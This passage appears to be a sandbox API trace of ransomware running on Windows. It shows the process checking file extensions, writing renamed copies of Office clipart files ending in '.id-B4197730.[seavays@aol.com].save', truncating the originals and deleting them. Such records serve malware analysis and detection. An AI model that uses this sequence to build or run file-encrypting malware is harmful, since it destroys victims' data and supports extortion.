(lpString1=".rar", lpString2=".GIF") returned 1 [0065.586] lstrlenW (lpString=".bz2") returned 4 [0065.586] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0065.586] lstrlenW (lpString=".7z") returned 3 [0065.586] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0065.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0065.586] lstrlenW (lpString=".dbf") returned 4 [0065.586] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0065.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0065.587] lstrlenW (lpString=".1cd") returned 4 [0065.587] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0065.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0065.587] lstrlenW (lpString=".jpg") returned 4 [0065.587] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0065.587] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0065.587] lstrlenW (lpString="BD10972_.GIF") returned 12 [0065.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0065.587] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=20189) returned 1 [0065.587] CloseHandle (hObject=0x37c) returned 1 [0065.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif")) returned 0x220 [0065.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0065.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0065.588] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.588] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0065.588] GetLastError () returned 0x0 [0065.588] ReadFile (in: hFile=0x37c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x4edd, lpOverlapped=0x0) returned 1 [0065.590] WriteFile (in: hFile=0x2ec, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x4ee0, lpOverlapped=0x0) returned 1 [0065.591] ReadFile (in: hFile=0x37c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0065.591] WriteFile (in: hFile=0x2ec, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0065.592] SetEndOfFile (hFile=0x2ec) returned 1 [0065.592] CloseHandle (hObject=0x2ec) returned 1 [0065.607] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.607] SetEndOfFile (hFile=0x37c) returned 1 [0065.886] CloseHandle (hObject=0x37c) returned 1 [0065.886] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0065.886] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif")) returned 1 [0065.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0065.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0065.887] lstrlenW (lpString=".doc") returned 4 [0065.887] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0065.887] lstrlenW (lpString=".docx") returned 5 [0065.887] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0065.887] lstrlenW (lpString=".pdf") returned 4 [0065.887] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0065.887] lstrlenW (lpString=".xls") returned 4 [0065.887] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0065.887] lstrlenW (lpString=".xlsx") returned 5 [0065.887] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0065.887] lstrlenW (lpString=".ppt") returned 4 [0065.887] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0065.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0065.887] lstrlenW (lpString=".zip") returned 4 [0065.887] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0065.887] lstrlenW (lpString=".rar") returned 4 [0065.887] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0065.887] lstrlenW (lpString=".bz2") returned 4 [0065.887] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0065.887] lstrlenW (lpString=".7z") returned 3 [0065.887] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0065.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0065.887] lstrlenW (lpString=".dbf") returned 4 [0065.887] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0065.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0065.887] lstrlenW (lpString=".1cd") returned 4 [0065.887] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0065.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0065.887] lstrlenW (lpString=".jpg") returned 4 [0065.887] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0065.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0065.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0065.888] lstrlenW (lpString=".doc") returned 4 [0065.888] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0065.888] lstrlenW (lpString=".docx") returned 5 [0065.888] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0065.888] lstrlenW (lpString=".pdf") returned 4 [0065.888] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0065.888] lstrlenW (lpString=".xls") returned 4 [0065.888] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0065.888] lstrlenW (lpString=".xlsx") returned 5 [0065.888] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0065.888] lstrlenW (lpString=".ppt") returned 4 [0065.888] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0065.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0065.888] lstrlenW (lpString=".zip") returned 4 [0065.888] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0065.888] lstrlenW (lpString=".rar") returned 4 [0065.888] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0065.888] lstrlenW (lpString=".bz2") returned 4 [0065.888] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0065.888] lstrlenW (lpString=".7z") returned 3 [0065.888] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0065.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0065.888] lstrlenW (lpString=".dbf") returned 4 [0065.888] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0065.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0065.888] lstrlenW (lpString=".1cd") returned 4 [0065.888] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0065.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0065.888] lstrlenW (lpString=".jpg") returned 4 [0065.888] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0065.889] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.889] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0065.890] GetLastError () returned 0x0 [0065.890] ReadFile (in: hFile=0x37c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x265a, lpOverlapped=0x0) returned 1 [0065.894] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x2660, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x2660, lpOverlapped=0x0) returned 1 [0065.895] ReadFile (in: hFile=0x37c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0065.895] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0065.895] SetEndOfFile (hFile=0x378) returned 1 [0065.895] CloseHandle (hObject=0x378) returned 1 [0065.896] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.896] SetEndOfFile (hFile=0x37c) returned 1 [0065.897] CloseHandle (hObject=0x37c) returned 1 [0065.897] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0065.898] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf")) returned 1 [0065.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0065.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0065.898] lstrlenW (lpString=".doc") returned 4 [0065.898] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0065.898] lstrlenW (lpString=".docx") returned 5 [0065.898] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0065.898] lstrlenW (lpString=".pdf") returned 4 [0065.898] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0065.898] lstrlenW (lpString=".xls") returned 4 [0065.898] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0065.898] lstrlenW (lpString=".xlsx") returned 5 [0065.898] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0065.898] lstrlenW (lpString=".ppt") returned 4 [0065.898] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0065.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0065.899] lstrlenW (lpString=".zip") returned 4 [0065.899] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0065.899] lstrlenW (lpString=".rar") returned 4 [0065.899] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0065.899] lstrlenW (lpString=".bz2") returned 4 [0065.899] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0065.899] lstrlenW (lpString=".7z") returned 3 [0065.899] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0065.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0065.899] lstrlenW (lpString=".dbf") returned 4 [0065.899] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0065.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0065.899] lstrlenW (lpString=".1cd") returned 4 [0065.899] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0065.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0065.899] lstrlenW (lpString=".jpg") returned 4 [0065.899] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0065.900] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.900] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0065.900] GetLastError () returned 0x0 [0065.900] ReadFile (in: hFile=0x37c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x1eb6, lpOverlapped=0x0) returned 1 [0065.902] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x1ec0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x1ec0, lpOverlapped=0x0) returned 1 [0065.903] ReadFile (in: hFile=0x37c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0065.903] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0065.903] SetEndOfFile (hFile=0x378) returned 1 [0065.903] CloseHandle (hObject=0x378) returned 1 [0065.904] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.904] SetEndOfFile (hFile=0x37c) returned 1 [0065.905] CloseHandle (hObject=0x37c) returned 1 [0065.905] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0065.906] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf")) returned 1 [0065.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0065.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0065.906] lstrlenW (lpString=".doc") returned 4 [0065.906] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0065.906] lstrlenW (lpString=".docx") returned 5 [0065.906] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0065.907] lstrlenW (lpString=".pdf") returned 4 [0065.907] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0065.907] lstrlenW (lpString=".xls") returned 4 [0065.907] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0065.907] lstrlenW (lpString=".xlsx") returned 5 [0065.907] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0065.907] lstrlenW (lpString=".ppt") returned 4 [0065.907] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0065.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0065.907] lstrlenW (lpString=".zip") returned 4 [0065.907] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0065.907] lstrlenW (lpString=".rar") returned 4 [0065.907] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0065.907] lstrlenW (lpString=".bz2") returned 4 [0065.907] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0065.907] lstrlenW (lpString=".7z") returned 3 [0065.907] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0065.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0065.907] lstrlenW (lpString=".dbf") returned 4 [0065.907] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0065.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0065.907] lstrlenW (lpString=".1cd") returned 4 [0065.907] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0065.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0065.907] lstrlenW (lpString=".jpg") returned 4 [0065.907] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0065.908] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.908] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0065.908] GetLastError () returned 0x0 [0065.908] ReadFile (in: hFile=0x37c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x3f4, lpOverlapped=0x0) returned 1 [0065.910] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x400, lpOverlapped=0x0) returned 1 [0065.911] ReadFile (in: hFile=0x37c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0065.911] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0065.911] SetEndOfFile (hFile=0x378) returned 1 [0065.911] CloseHandle (hObject=0x378) returned 1 [0065.912] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.912] SetEndOfFile (hFile=0x37c) returned 1 [0065.913] CloseHandle (hObject=0x37c) returned 1 [0065.913] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0065.913] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf")) returned 1 [0065.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0065.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0065.914] lstrlenW (lpString=".doc") returned 4 [0065.914] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0065.914] lstrlenW (lpString=".docx") returned 5 [0065.914] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0065.914] lstrlenW (lpString=".pdf") returned 4 [0065.914] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0065.914] lstrlenW (lpString=".xls") returned 4 [0065.914] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0065.914] lstrlenW (lpString=".xlsx") returned 5 [0065.914] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0065.914] lstrlenW (lpString=".ppt") returned 4 [0065.914] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0065.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0065.914] lstrlenW (lpString=".zip") returned 4 [0065.914] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0065.914] lstrlenW (lpString=".rar") returned 4 [0065.914] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0065.914] lstrlenW (lpString=".bz2") returned 4 [0065.914] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0065.915] lstrlenW (lpString=".7z") returned 3 [0065.915] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0065.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0065.915] lstrlenW (lpString=".dbf") returned 4 [0065.915] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0065.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0065.915] lstrlenW (lpString=".1cd") returned 4 [0065.915] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0065.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0065.915] lstrlenW (lpString=".jpg") returned 4 [0065.915] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0065.915] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.915] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0065.916] GetLastError () returned 0x0 [0065.916] ReadFile (in: hFile=0x37c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x370, lpOverlapped=0x0) returned 1 [0065.917] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x380, lpOverlapped=0x0) returned 1 [0065.918] ReadFile (in: hFile=0x37c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0065.919] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0065.919] SetEndOfFile (hFile=0x378) returned 1 [0065.919] CloseHandle (hObject=0x378) returned 1 [0065.920] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.920] SetEndOfFile (hFile=0x37c) returned 1 [0065.921] CloseHandle (hObject=0x37c) returned 1 